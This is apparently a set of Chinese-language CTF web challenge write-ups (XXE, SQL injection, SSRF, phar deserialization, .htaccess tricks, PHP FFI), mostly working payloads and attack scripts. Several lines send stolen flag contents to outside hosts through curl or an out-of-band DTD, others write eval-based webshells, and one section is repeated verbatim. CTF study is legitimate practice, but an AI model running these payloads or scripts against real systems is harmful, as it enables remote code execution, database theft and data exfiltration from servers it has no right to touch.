[GoogleCTF2019 Quals]Bnv
考點:本地DTD文件利用XXE漏洞
payload:
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa '
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
順便貼一下無回顯的xxe:
dtd文件:
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://ip/?%file;'>"
>
%all;
payload:
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://ip/dtd">
%dtd;
%send;
]>
[HarekazeCTF2019]Easy Notes
目標:
通讀代碼發現只有寫note才能放到session中
然后export.php能將note的內容打包下載:
默認用zip,如果$_GET['type']=tar就以tar打包
對應文件:
解法:
user設置為sess_,然后拼接上隨機hex值+$_GET['type'],令type=.,前面的.
大概就是:sess_123456..
然后..被下面的正則替換為空,我們就成功偽造了一個sess文件,
還需要給admin復制為true或1
session.serialize_handler默認設置為php:鍵名|值
為了避免其他垃圾數據干擾嗎,例如:
所以前面需要加一個|N; 然后令admin=bool(true)
訪問:/export.php?type=.
換cookie
[網鼎杯2018]Unfinish
在register.php頁面發現有注入點:
import requests
import time
url= "http://05c2dd6a-ca17-44c9-b543-f1e7adfde730.node3.buuoj.cn/register.php"
text=""
for a in range(1,50):
for i in range(1, 45):
min = 28
max = 126
while abs(max - min) > 1:
mid = (max + min) / 2
payload="' or (case when ascii(mid((select * from flag limit 1 offset 0)from({})for(1)))>{} then sleep(3) else 'b' end)='a".format(i,mid)
data={"email":"32@qq.com",
"username":payload,
"password":"11"}
#print(db_payload)
startTime=time.time()
r=requests.post(url,data=data,timeout=100)
if time.time()-startTime>3:
min=mid
else:
max=mid
mid_num = int((min + max + 1) / 2)
text += chr(int(max))
print(text)
不過跑出來的flag有時候會出錯,正確解法是
0'%2B(select substr(hex(hex((select * from flag))) from 1 for 10))%2B'0
由於注冊賬號登陸后會原模原樣把user顯示出來,並且為0或1,所以就用0+hex+0
這就是為什么要二次hex的原因,二次hex后十六進制全為數字就不會出現錯誤,而如果數據太常就會被用科學計數法表示,所以用substr分割
[CISCN2019 華東南賽區]Web4
讀取環境變量
/read?url=/proc/self/environ
讀取app.py
/read?url=app.py
# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True
@app.route('/')
def index():
session['username'] = 'www-data'
return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'
@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('^file.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m or n:
return 'No Hack'
res = urllib.urlopen(url)
return res.read()
except Exception as ex:
print str(ex)
return 'no response'
@app.route('/flag')
def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied'
if __name__=='__main__':
app.run(
debug=True,
host="0.0.0.0"
)
大概就是偽造session訪問flag,並且密鑰是隨機數生成的
seed的uuid.getnode()是mac地址,所以seed是固定的,隨機數也固定
/sys/class/net/eth0/address
生成密鑰:
import random
mac="02:42:ae:01:08:fe"
random.seed(int(mac.replace(":", ""), 16))
key = str(random.random() * 233)
print(key)
https://github.com/noraj/flask-session-cookie-manager
[CSAWQual 2019]Web_Unagi
xxe轉換成utf16繞過:
iconv -f utf8 -t utf16 2.xml -o 1.xml
<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<users>
<user>
<username>bob</username>
<password>passwd2</password>
<name> Bob</name>
<email>bob@fakesite.com</email>
<group>CSAW2019</group>
<intro>&xxe;</intro>
</user>
</users>
[SUCTF 2019]Upload Labs 2
源碼:
https://github.com/team-su/SUCTF-2019/blob/master/Web/Upload%20Labs%202/src/html
admin.php:判斷REMOTE_ADDR是否為127.0.0.1,如果是即可執行命令
class.php:File類、Check類(檢查是否包含<?)
index.php:上傳文件,白名單過濾,實例化Check類
func.php:返回文件的content-type,實例化File類
重點看一下File類:
class File{
public $file_name;
public $type;
public $func = "Check";
function __construct($file_name){
$this->file_name = $file_name;
}
function __wakeup(){
$class = new ReflectionClass($this->func);
$a = $class->newInstanceArgs($this->file_name);
$a->check();
}
function getMIME(){
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$this->type = finfo_file($finfo, $this->file_name);
finfo_close($finfo);
}
function __toString(){
return $this->type;
}
}
這里的wakeup函數有一個ReflectionClass,是一個反射類,能將參數實例化
而ReflectionClass::newInstanceArgs相當於用來賦值
想調用wakeup方法必須反序列化,這里由於沒有現成的unserialize,所以可以用phar,想ssrf可以用SoapClient
exp如下:
<?php
class File{
public $file_name;
public $func;
function __construct(){
$this->func='SoapClient';
$target = "http://127.0.0.1/admin.php";
$post_string = 'admin=&cmd=curl http://174.1.10.210:2333/?`/readflag`&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3='. "\r\n";
$headers = [];
$this->file_name=[
null,
array('location' => $target,
'user_agent'=>str_replace('^^', "\r\n",'w4nder^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string.'^^')
,'uri'=>'hello')
];
}
}
$a=new File();
echo urlencode(serialize($a));
@unlink("1.phar");
$phar = new Phar("1.phar"); //后綴名必須為phar
$phar->startBuffering();
$phar->setStub("<script language='php'> __HALT_COMPILER(); </script>"); //設置stub
$phar->setMetadata($a); //將自定義的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要壓縮的文件
//簽名自動計算
$phar->stopBuffering();
rename('1.phar','1.jpg');
生成phar上傳,然后來到func.php,可以用php://filter/resource=phar://繞過過濾,輸入:
php://filter/resource=phar://upload/2bc454e1fc8129de63d3c034e5c0c24f/0412c29576c708cf0155e8de242169b1.jpg
此時func.php實例化了File類,然后phar進行反序列化,調用File->wakeup,此時$this->func=SoapCilent,通過反射類進行實例化與賦值,然后調用SoapClient->check()觸發ssrf
然后在監聽的端口上收到flag
順帶說一下在調用命令前會check一下
這里的invoke是
為了不出錯只要滿足實例化的clazz類存在,func方法存在,agr賦值的參數隨意即可
ctf473831530_2018_web_virink_web
考點:
限制字符寫shell
php-fpm未授權訪問
rsync未授權訪問
好嘛后面兩個我都不知道,補一下
限制20個字符就可以直接寫shell了:
echo '<?php' >>1
echo 'eval(' >>1
echo '$_POST[0' >>1
echo ']);' >>1
echo '?>' >> 1
cat 1 >1.php
蟻劍連上,
在.10上發現開放了80,873,9000端口,腳本如下:
import socket
#author:Tiaonmmn
def foo():
with open('active_port.txt','at') as f:
for i in range(65535+1):
ip = '173.195.2.10'
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,i))
s.close()
f.writelines(str(i)+'\n')
except socket.error:
pass
f.close()
pass
if __name__ == '__main__':
foo()
print('ok')
9000對應php-fpm,873對應nsync
先來看一下php-fpm,php-fpm是為了fastcgi而實現的一個php解析器,而fastcgi是一種讓客戶端(web瀏覽器)與Web服務器(apache等)程序進行通信(數據傳輸)的協議,並且fastcgi解決了傳統cgi效率低的問題,三者之間大概就是:
首先客戶端向服務器發出請求,服務器接受請求,服務器中間件根據fastcgi的協議規則通過TCP傳給相應的解析器php-fpm,解析器解析數據返回
如果這個9000端口暴露在公網,則我們可以自己構造fastcgi協議,和fpm進行通信
具體p牛已經寫的很詳細了,截個圖:
原文鏈接:
https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
利用exp:
https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
先創建一個fpm.py內容為exp,然后:
第一個是開放fpm端口的內網ip,第二個是php的絕對路徑(暫時還不太清楚是怎么得到的)
system("python3 fpm.py 173.195.2.10 /www/redirect.php -c \"<?php system('ls /');?>\" ");
這樣就能列目錄了,但是不能讀flag,ls -al看一下沒有權限
這時候就用到873端口rsync未授權訪問了,可以看一下這篇文章
https://www.cnblogs.com/leixiao-/p/10227086.html
rsync是Linux下一款數據備份工具,rsync可以實現scp的遠程拷貝(rsync不支持遠程到遠程的拷貝,但scp支持)、cp的本地拷貝、rm刪除和"ls -l"顯示文件列表等功能,默認配置文件在/etc/rsyncd.conf下
先看一下該文件:
由配置文件,我們可以訪問path所指定目錄以外的目錄,該配置還定義了一個src模塊,路徑指向根目錄,而且可讀可寫,最重要的是沒有設置用戶名,如此便無需密碼直接訪問
#1.將根目錄下flag用nsync備份到tmp目錄
system("python3 fpm.py 173.195.2.10 /www/redirect.php -c \"<?php system('rsync 127.0.0.1::src/7h1s_i5_f14g /tmp/');?>\" ");
#2.cat /tmp/7*
system("python3 fpm.py 173.195.2.10 /www/redirect.php -c \"<?php system('cat /tmp/7*');?>\" ");
[SUCTF 2018]MultiSQL
注冊登錄,在user.php處找到注入點:
但是很煩這里過濾了select,原來有讀寫文件的權限,首先讀/var/www/html/user/user.php
import requests
url='http://9af92606-fe71-489c-ba5b-26f9f1b0379b.node3.buuoj.cn/user/user.php'
payload="2=(if(ascii(mid(load_file(0x2f7661722f7777772f68746d6c2f757365722f757365722e706870),{},1))>{},0,1))"
#payload="6-(if(ascii(mid(user(),{},1))>{},0,1))"
cookies={
'PHPSESSID':'ecku39t392t3ql7s6aj2jj6oc3'
}
text=''
for i in range(1,3500):
l=28
h=126
while abs(h - l) > 1:
m=(l+h)/2
param={
'id':payload.format(i,m)
}
re=requests.get(url,cookies=cookies,params=param)
#print(re.text)
#if這自己
if 'admin' in re.text:
l=m
else:
h=m
mid_num = int((l + h + 1) / 2)
text += chr(int(h))
print(text)
可以執行多條命令,然后就用預編譯寫文件:
#select "<?php @system($_POST[0]);?>" into outfile '/var/www/html/favicon/1.php';
2;set @a=concat(CHAR(115),CHAR(101),CHAR(108),CHAR(101),CHAR(99),CHAR(116),CHAR(32),CHAR(34),CHAR(60),CHAR(63),CHAR(112),CHAR(104),CHAR(112),CHAR(32),CHAR(64),CHAR(115),CHAR(121),CHAR(115),CHAR(116),CHAR(101),CHAR(109),CHAR(40),CHAR(36),CHAR(95),CHAR(80),CHAR(79),CHAR(83),CHAR(84),CHAR(91),CHAR(48),CHAR(93),CHAR(41),CHAR(59),CHAR(63),CHAR(62),CHAR(34),CHAR(32),CHAR(105),CHAR(110),CHAR(116),CHAR(111),CHAR(32),CHAR(111),CHAR(117),CHAR(116),CHAR(102),CHAR(105),CHAR(108),CHAR(101),CHAR(32),CHAR(39),CHAR(47),CHAR(118),CHAR(97),CHAR(114),CHAR(47),CHAR(119),CHAR(119),CHAR(119),CHAR(47),CHAR(104),CHAR(116),CHAR(109),CHAR(108),CHAR(47),CHAR(102),CHAR(97),CHAR(118),CHAR(105),CHAR(99),CHAR(111),CHAR(110),CHAR(47),CHAR(49),CHAR(46),CHAR(112),CHAR(104),CHAR(112),CHAR(39),CHAR(59));prepare b from @a;execute b;
PyCalX 1&2
進去是一個python的計算器
看源碼,val的過濾:
op的過濾:
最后使用這個進行拼接:
而repr() 函數是將對象轉化為供解釋器讀取的,具體用法不管他,看下面的例子
repr在轉化字符串時會默認套上單引號,而由於op是沒過濾單引號,所以可以導致val2逃逸
因為接受了source參數切沒過濾所以可以用source 是否in FLAG來盲注,例如:
value1=a&op=%2B%27&value2=and+1+and+source+in+FLAG%23&source=flag{
FLAG開頭肯定為flag{所以返回True,反之返回False
exp:
import requests
import string
str=string.printable
flag='flag{'
url='http://bc8ffc74-a861-402e-9799-55818ece4060.node3.buuoj.cn/cgi-bin/pycalx.py'
while 1:
for i in str:
data = {
'value1': 'a',
'op': '+\'',
'value2': 'and 1 and source in FLAG#',
'source': flag+i
}
re = requests.get(url, params=data)
#print(re.text)
if 'True' in re.text:
flag+=i
print(flag)
[SWPUCTF 2016]Web7
考點:ssrf+crlf(python urlopen漏洞)
源碼:
#!/usr/bin/python
# coding:utf8
import cherrypy
import urllib2
import redis
class web7:
@cherrypy.expose
def index(self):
return "<script> window.location.href='/input';</script>"
@cherrypy.expose
def input(self,url="",submit=""):
file=open("index.html","r").read()
reheaders=""
if cherrypy.request.method=="GET":
reheaders=""
else:
url=cherrypy.request.params["url"]
submit=cherrypy.request.params["submit"]
try:
for x in urllib2.urlopen(url).info().headers:
reheaders=reheaders+x+"<br>"
except Exception,e:
reheaders="錯誤"+str(e)
for x in urllib2.urlopen(url).info().headers:
reheaders=reheaders+x+"<br>"
file=file.replace("<?response?>",reheaders)
return file
@cherrypy.expose
def login(self,password="",submit=""):
pool = redis.ConnectionPool(host='127.0.0.1', port=6379)
r = redis.Redis(connection_pool=pool)
re=""
file=open("login.html","r").read()
if cherrypy.request.method=="GET":
re=""
else:
password=cherrypy.request.params["password"]
submit=cherrypy.request.params["submit"]
if r.get("admin")==password:
re=open("flag",'r').readline()
else:
re="Can't find admin:"+password+",fast fast fast....."
file=file.replace("<?response?>",re)
return file
cherrypy.config.update({'server.socket_host': '0.0.0.0',
'server.socket_port': 8080,
})
cherrypy.quickstart(web7(),'/')
用到了cherrtpy和redis
一個input路由
一個login路由
源碼大概是用urllib2.urlopen去請求url,然后返回頭部信息,可以用來ssrf,然后login是判斷輸入的密碼是否正確,首先請求http://127.0.0.1:8080/看看
然后沒思路了,看wp知道urlopen有個crlf漏洞
https://bugs.python.org/issue30458
https://www.tuicool.com/articles/2iIj2eR
而redis由於提供了數據存儲,所以可以通過http注入惡意數據(沒學過redis枉師傅指正:)
payload:
http://127.0.0.1%0d%0aset%20admin%20admin%0d%0asave%0d%0a:6379/index
其中6379為redis的端口,這樣實際的header頭就大概為:
GET /index HTTP/1.1
Accept-Encoding: identity
Connection: close
User-Agent: Python-urllib/3.4
Host: 127.0.0.1:6379
set admin admin
save
這樣就修改了admin的密碼,然后這里還需要多線程,用burp或者python都行,手速快也行:
[SUCTF 2019]Pythonginx
考點:python idna編碼,nginx文件路徑
源碼中就是先idna編碼然后utf8解碼,這樣會導致url被引入新的段
https://bugs.python.org/issue36216
下面是一個ascii解碼的例子
所以我們要找到一個idna編碼的可代替url中的部分字符即可,貼個別的師傅的腳本
for i in range(128,65537):
tmp=chr(i)
try:
res = tmp.encode('idna').decode('utf-8')
if("-") in res:
continue
print("U:{} A:{} ascii:{} ".format(tmp, res, i))
except:
pass
那么就可以用idna編碼的值代替c/u了
然后是nginx的一些文件路徑:
配置文件存放目錄:/etc/nginx
主配置文件:/usr/local/nginx/conf/nginx.conf
管理腳本:/usr/lib64/systemd/system/nginx.service
模塊:/usr/lisb64/nginx/modules
應用程序:/usr/sbin/nginx
程序默認存放位置:/usr/share/nginx/html
日志默認存放位置:/var/log/nginx
file://suctf.c℆sr/local/nginx/conf/nginx.conf
file://suctf.c℆sr/fffffflag
[XNUCA2019Qualifier]EasyPHP
考點:php.ini配置?
源碼可以寫文件但是有waf
寫一個php再去訪問發現類型使text的,並且雖然這里寫的是刪除除了index.php的所有文件,但是當前目錄下有一個.htaccess不會刪除,那么久嘗試改這個文件
一、將報錯信息寫到錯誤日志中並包含執行
log_errors:1(啟用報錯日志)
error_log:指定錯誤日志寫入的文件
include_path:選擇文件包含的默認路徑
將log_errors=1,error_log=/tmp/f13g.php,include_path='<?php phpinfo();'
index.php會根據include_path包含./f13g.php,沒有該文件,報錯,將錯誤日志與<?php phpinfo();寫入/tmp/f13g.php
然后這里<>會被html實體編碼轉義,需要用utf-7繞過:1.
php_value log_errors 1
php_value error_log /tmp/fl3g.php
php_value error_reporting 32767
php_value include_path "+ADw?php eval($_GET[1])+ADs +AF8AXw-halt+AF8-compiler()+ADs"
# \
此時.htaccess被寫入如上內容,由於include_once("fl3g.php"),include_path=utf7-shell,產生報錯,將shell寫入了/tmp/fl3g.php文件
php_value include_path "/tmp"
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
# \
第二次寫入完成,此時訪問index.php,include_path為/tmp,編碼為utf7,在包含include_once("fl3g.php")時就會去/tmp目錄下包含shell文件
import requests
import base64
import time
url='http://6311bdaa-fea5-45db-95a7-72fbb4cddd88.node3.buuoj.cn/'
def step1():
param = {
'content': 'php_value include_path "/tmp/xx/+ADw?php eval($_GET[2])+ADs +AF8AXw-halt+AF8-compiler()+ADs"\nphp_value error_reporting 32767\nphp_value error_log /tmp/fl3g.php\n#\\',
'filename': '.htaccess'
}
re = requests.get(url,params=param)
print('step1:'+re.text)
s = requests.get(url + '.htaccess')
print(s.status_code)
def step2():
param = {
'content':'php_value include_path "/tmp"\nphp_value zend.multibyte 1\nphp_value zend.script_encoding "UTF-7"\n# \\',
'filename': '.htaccess'
}
re = requests.get(url,params=param)
print('step1:'+re.text)
s = requests.get(url + '.htaccess')
print(s.status_code)
step1()
time.sleep(0.5)
step2()
但是只有一次命令執行,因為.htaccess會被重置
二、是正則回溯繞過,通過設置pcre.backtrack_limit為0使得正則回溯次數為0,使
preg_match("/[^a-z.]/", $filename)返回False,由於這里的匹配條件是1而不是!0,就可以繞過匹配,那么文件名這塊就可隨意控制了,然后將文件內容base64編碼,然后文件名為php://filter/write=convert.base64decode/resource=.htaccess
import requests
import base64
import time
url='http://70c1da6c-4a7f-4e46-a2a3-0cadd6c89c3d.node3.buuoj.cn/'
def step1():
data = 'php_value pcre.backtrack_limit 0'+'\n'+'# \\'
param = {
'content': 'php_value pcre.backtrack_limit 0 \n php_value pcre.jit 0 \n #\\',
'filename': '.htaccess'
}
#re = requests.get(url+'?filename=.htaccess&content=php_value%20auto_prepend_fi\%0Ale%20".htaccess"%0A%23<?php%20system(\'cat%20/fl[a]g\');?>\\')
re = requests.get(url,params=param)
print('step1:'+re.text)
#print(re.url)
s = requests.get(url + '.htaccess')
print(s.status_code)
def step2():
data='php_value auto_prepend_file ".htaccess" \n #<?php system("cat /fl[a]g");?>\\'
data=base64.b64encode(data.encode()).decode()
param = {
'content': 'cGhwX3ZhbHVlIGF1dG9fcHJlcGVuZF9maWxlICIuaHRhY2Nlc3MiIAojPD9waHAgc3lzdGVtKCJjYXQgL2ZsW2FdZyIpOz8+XA',
'filename': 'php://filter/write=convert.base64-decode/resource=.htaccess'
}
re=requests.get(url,params=param)
#print(re.url)
return 'step2:'+re.text
while 1:
print('----------')
step1()
time.sleep(1)
b=step2()
if 'Hacker' in b:
print(b)
continue
print(b)
break
有時候打不進去,多跑幾次就好了(寫.htaccess的時候要特別注意一不小心環境就炸了emm)
三、直接用\分割繞過content
php_value auto_prepend_fi
le ".htaccess"
\# <?php phpinfo();?>
import requests
import base64
import time
url='http://6311bdaa-fea5-45db-95a7-72fbb4cddd88.node3.buuoj.cn/'
def step1():
param = {
'content': 'php_value auto_prepend_fi\\\nle ".htaccess"\n#<?php system("cat /f*");?>\\',
'filename': '.htaccess'
}
re = requests.get(url,params=param)
print(re.status_code)
s = requests.get(url + '.htaccess')
print(s.status_code)
step1()
[HITCON 2017]SSRFme
考點:CVE-2016-1238(perl腳本漏洞造成rce)
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}
echo $_SERVER["REMOTE_ADDR"];
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
創建sandbox,接受兩個參數,
url:用GET去獲取內容
filename:創建filename中的路徑文件夾,然后把獲取到的內容放入filename中的文件名
例如,url=/etc/passwd&filename=test/1.php
就可以讀到/etc/passwd
這里有個readflag需要rce
這個GET是通過perl腳本實現的,而perl的open是用來操作文件的,但是也可以命令執行,前提是文件存在,例如:
在GET下可以這樣,先創建一個ls|文件
然后執行,GET file:ls|
那么就簡單了,先隨便創建一個bash -c /readflag|文件:
url=/etc/passwd&filename=bash -c /readflag|
然后rce
url=file:bash -c /readflag|&filename=bash -c /readflag|
訪問bash -c /readflag|路徑即可
也可以直接寫馬:
[SWPUCTF 2016]Web7
源碼:
#!/usr/bin/python
# coding:utf8
import cherrypy
import urllib2
import redis
class web7:
@cherrypy.expose
def index(self):
return "<script> window.location.href='/input';</script>"
@cherrypy.expose
def input(self,url="",submit=""):
file=open("index.html","r").read()
reheaders=""
if cherrypy.request.method=="GET":
reheaders=""
else:
url=cherrypy.request.params["url"]
submit=cherrypy.request.params["submit"]
try:
for x in urllib2.urlopen(url).info().headers:
reheaders=reheaders+x+"<br>"
except Exception,e:
reheaders="錯誤"+str(e)
for x in urllib2.urlopen(url).info().headers:
reheaders=reheaders+x+"<br>"
file=file.replace("<?response?>",reheaders)
return file
@cherrypy.expose
def login(self,password="",submit=""):
pool = redis.ConnectionPool(host='127.0.0.1', port=6379)
r = redis.Redis(connection_pool=pool)
re=""
file=open("login.html","r").read()
if cherrypy.request.method=="GET":
re=""
else:
password=cherrypy.request.params["password"]
submit=cherrypy.request.params["submit"]
if r.get("admin")==password:
re=open("flag",'r').readline()
else:
re="Can't find admin:"+password+",fast fast fast....."
file=file.replace("<?response?>",re)
return file
cherrypy.config.update({'server.socket_host': '0.0.0.0',
'server.socket_port': 8080,
})
cherrypy.quickstart(web7(),'/')
用到了cherrtpy和redis
一個input路由
一個login路由
源碼大概是用urllib2.urlopen去請求url,然后返回頭部信息,可以用來ssrf,然后login是判斷輸入的密碼是否正確,首先請求http://127.0.0.1:8080/看看
然后沒思路了,看wp知道urlopen有個crlf漏洞
https://bugs.python.org/issue30458
https://www.tuicool.com/articles/2iIj2eR
而redis由於提供了數據存儲,所以可以通過http注入惡意數據(沒學過redis枉師傅指正:)
payload:
http://127.0.0.1%0d%0aset%20admin%20admin%0d%0asave%0d%0a:6379/index
其中6379為redis的端口,這樣實際的header頭就大概為:
GET /index HTTP/1.1
Accept-Encoding: identity
Connection: close
User-Agent: Python-urllib/3.4
Host: 127.0.0.1:6379
set admin admin
save
這樣就修改了admin的密碼,然后這里還需要多線程,用burp或者python都行,手速快也行:
[XDCTF 2015]filemanager
www.tar.gz
在文件名處存在二次注入,一開始本來是想報錯注入的,可是沒找到flag,我就偷懶直接去看了sql源碼
rename.php:
這里還有一個update有二次注入,那么另filename=',extension='',filename='1.jpg.jpg
然后進行一次rename,在uptate操作時就會將filename='1.jpg',extension=''
第一次rename:
oldname="',extension='',filename='1.jpg.jpg"
newname='1.jpg.jpg'
然后此時php中的文件為1.jpg.jpg
而由於二次注入使得sql中filename='1.jpg',extension=''
oldname是從數據庫中查詢得到的,所以此時oldname=1.jpg.''=1.jpg
如果要成功rename需要oldname存在,顯然此時php中只有1.jpg.jpg,所以我們在上傳一個1.jpg的馬
然后newname=1.php即可getshell
1.首先上傳名為',extension='',filename='1.jpg.jpg的文件
2.重命名為1.jpg,得到1.jpg.jpg
3.上傳1.jpg的馬
4.重命名1.jpg為1.php,getshell
[RCTF 2019]Nextphp
神題,沒啥思路
首先是一個命令執行
連上蟻劍之后看到有一個preload.php
這里是一個Final類,然后繼承了Serializable接口,該接口可以允許我們自己定義serialize和unserialize函數,如:
在對A類serialize時會自動加載自定義的serialize函數,unserialize也是如此
可以看一下文檔:https://wiki.php.net/rfc/custom_object_serialization
然后其實這個文件名preload其實提醒我們了是預加載,文檔:
https://wiki.php.net/rfc/preload
而預加載由opcache.preload控制,可以在phpinfo中看一下
這里的預加載文件就是preload.php,所以當我們訪問index時就會先加載preload.php
得知在預加載文件中允許FFI功能,繼續看FFI的文檔2333
https://wiki.php.net/rfc/ffi
得知FFI允許在純php中調用c函數,看一個官方的例子:
這樣就能調用c語言的printf,神奇,不過好像得由libc.so庫還是什么的
繼續看FFI::cdef的定義:
兩個參數,第一個時字符串,可以是c頭文件也就是c函數的定義,第二個是共享庫也就是類似上面的libc.so,可不寫
老實說看完這些還是不知道怎么解題,payload:
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'FFI::cdef',
'arg' => "int php_exec(int type, char *cmd);"
];
public function serialize (): string {
return serialize($this->data);
}
public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}
}
$a = new A;
echo serialize($a);
然后:
?a=$a=unserialize('C:1:"A":97:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:34:"int php_exec(int type, char *cmd);";}}');$a->ret->php_exec(2,'curl%20174.1.164.108:2333/`cat%20/flag`');
此時反序列化得到一個構造好的A類,把它賦值給$a,由於是重寫了unserialize,所以會反序列化后執行run方法
private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}
此時$this->data['ret'] = $this->data['func']($this->data['arg']);
也就是
$this->data['ret']=FFI::cdef(int php_exec(int type, char *cmd);)
然后就能通過ret來調用c函數了,這樣調用就好啦
$a->ret->php_exec(2,'curl%20174.1.164.108:2333/`cat%20/flag`');
或者
$a->__serialize()[ret]->php_exec(2,'curl%20174.1.164.108:2333/`cat%20/flag`');
收到flag
神仙題
[hctf 2018]kzone
主要代碼如下:
過濾了:
由於這里是對$_COOKIE['login_data']進行了json_decode所以導致可以解析unicode,然后也就相當於沒過濾了:
判斷的話如下:
根據setcookie的數量進行布爾盲注,unicode繞過waf
import requests
url='http://c8f3a38c-d363-4876-837c-1b53dbc61b5e.node3.buuoj.cn/include/common.php'
def unicode(s):
Char=''
for i in s:
Char+=r'\u00'+hex(ord(i))[2:]
return Char
text=''
dic = list('1234567890abcdefghijklmnopqrstuvwxyz[]<>@!-~?=_()*{}#. /')
for i in range(1,100):
for s in dic:
s=ord(s)
payload=unicode("'||(ascii(substr((select group_concat(f44ag) from fl2222g),"+str(i)+",1))="+str(s)+")and'1")
cookie={"islogin":"1","login_data":"{\"admin_user\":\""+payload+"\"}"}
re=requests.get(url=url,cookies=cookie)
if 'Set-Cookie' in re.headers:
if re.headers['Set-Cookie'].count('expire') == 2:
text += chr(s)
print(text)
break
else:
continue
但是出題人的wp說由於是弱比較:
可以爆破出cookie中的admin_pass,進入后台,然而我一直沒爆破出來,不過這是小事了,
由於過濾了mid和substr,就得找其他截取字符串的函數,可以用right,字符串比較的話可以用strcmp或者locate
database、user都能跑出來,不知道為什么表跑不出來,嘗試直接跑flag也只能跑出來后面一小段,很明顯前面一個字符就是-,但是就是跑不出來,不知道什么原因
import requests
import string
url="http://c8f3a38c-d363-4876-837c-1b53dbc61b5e.node3.buuoj.cn/include/common.php"
dic = list('1234567890abcdefghijklmnopqrstuvwxyz[]<>@!-~?=_()*{}#. /')
text = ''
for pos in range(1,1000):
for s in dic:
payload = "'||(locate(right((select * from fl2222g),{}),'{}')) and'1".format(pos,s+text).replace(' ','/**/')
cookies = {'islogin':'1','PHPSESSID':'a4f71d2e4b13233a582cae827a1475a6','login_data':'{"admin_user":"%s","admin_pass":65}'%payload}
resp = requests.get(url,cookies=cookies)
#print(resp.headers['Set-Cookie'].count('expire'))
#print(resp.headers['Set-Cookie'])
if 'Set-Cookie' in resp.headers:
if resp.headers['Set-Cookie'].count('expire') == 2:
text = s+text
print(text)
break
else:
continue
真的qswl,有師傅用預期解做過這題麻煩看看QAQ
[HITCON 2019]Buggy_Net(占坑)
又是asp,沒太懂這題....主要代碼如下:
<%
bool isBad = false;
try {
if ( Request.Form["filename"] != null ) {
isBad = Request.Form["filename"].Contains("..") == true;
}
} catch (Exception ex) {
}
try {
if (!isBad) {
Response.Write(System.IO.File.ReadAllText(@"C:\inetpub\wwwroot\" + Request.Form["filename"]));
}
} catch (Exception ex) {
}
%>
就是一個文件包含一樣的,但是限制了..,看看wp怎么說:
https://ctftime.org/writeup/16802
好像是在GET請求中經過application/x-www-form-urlencoded編碼就能被form表單讀取?
應該是首先通過GET的方式請求,然而由於asp的請求驗證,Content-type: application/x-www-form-urlencoded的數據在服務端接受到的實際上就是表單數據,然后又由於報錯,導致繞過了isbad=true的賦值,從而繞過..過濾
沒太懂,占坑
l33t-hoster
首頁是文件上傳,源碼如下:
<?php
if (isset($_GET["source"]))
die(highlight_file(__FILE__));
session_start();
if (!isset($_SESSION["home"])) {
$_SESSION["home"] = bin2hex(random_bytes(20));
}
$userdir = "images/{$_SESSION["home"]}/";
if (!file_exists($userdir)) {
mkdir($userdir);
}
$disallowed_ext = array(
"php",
"php3",
"php4",
"php5",
"php7",
"pht",
"phtm",
"phtml",
"phar",
"phps",
);
if (isset($_POST["upload"])) {
if ($_FILES['image']['error'] !== UPLOAD_ERR_OK) {
die("yuuuge fail");
}
$tmp_name = $_FILES["image"]["tmp_name"];
$name = $_FILES["image"]["name"];
$parts = explode(".", $name);
$ext = array_pop($parts);
if (empty($parts[0])) {
array_shift($parts);
}
if (count($parts) === 0) {
die("lol filename is empty");
}
if (in_array($ext, $disallowed_ext, TRUE)) {
die("lol nice try, but im not stupid dude...");
}
$image = file_get_contents($tmp_name);
if (mb_strpos($image, "<?") !== FALSE) {
die("why would you need php in a pic.....");
}
if (!exif_imagetype($tmp_name)) {
die("not an image.");
}
$image_size = getimagesize($tmp_name);
if ($image_size[0] !== 1337 || $image_size[1] !== 1337) {
die("lol noob, your pic is not l33t enough");
}
$name = implode(".", $parts);
move_uploaded_file($tmp_name, $userdir . $name . "." . $ext);
}
echo "<h3>Your <a href=$userdir>files</a>:</h3><ul>";
foreach(glob($userdir . "*") as $file) {
echo "<li><a href='$file'>$file</a></li>";
}
echo "</ul>";
?>
